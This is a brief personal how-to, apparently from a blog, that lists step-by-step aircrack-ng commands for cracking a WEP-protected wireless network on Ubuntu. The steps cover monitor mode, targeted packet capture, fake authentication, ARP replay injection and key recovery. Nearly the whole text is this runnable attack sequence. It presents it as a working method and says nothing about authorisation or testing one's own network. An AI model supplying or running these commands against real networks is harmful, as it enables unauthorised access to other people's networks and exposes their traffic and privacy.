The following is the list of commands to crack into a WEP network on Ubuntu. It works for me so I’m recording it here; your experience may vary.
All of the below commands should be run with sudo or in a root shell in Ubuntu Linux
service network-manager stop
killall wpa_supplicant
airmon-ng start wlan0
airodump-ng mon0
(find the target wireless network, ctrl-c)
airodump-ng -c [channel] -w [filename] --bssid [mac] mon0
open a new terminal
aireplay-ng -1 0 -a [mac] -e [network name] mon0
Should get the “Association successful :)” message
aireplay-ng -3 -b [mac] mon0
Now lots of data should be generated and captured in the first terminal. Open a third terminal:
aircrack-ng -b [mac] [filename]-01.cap
Key should be found.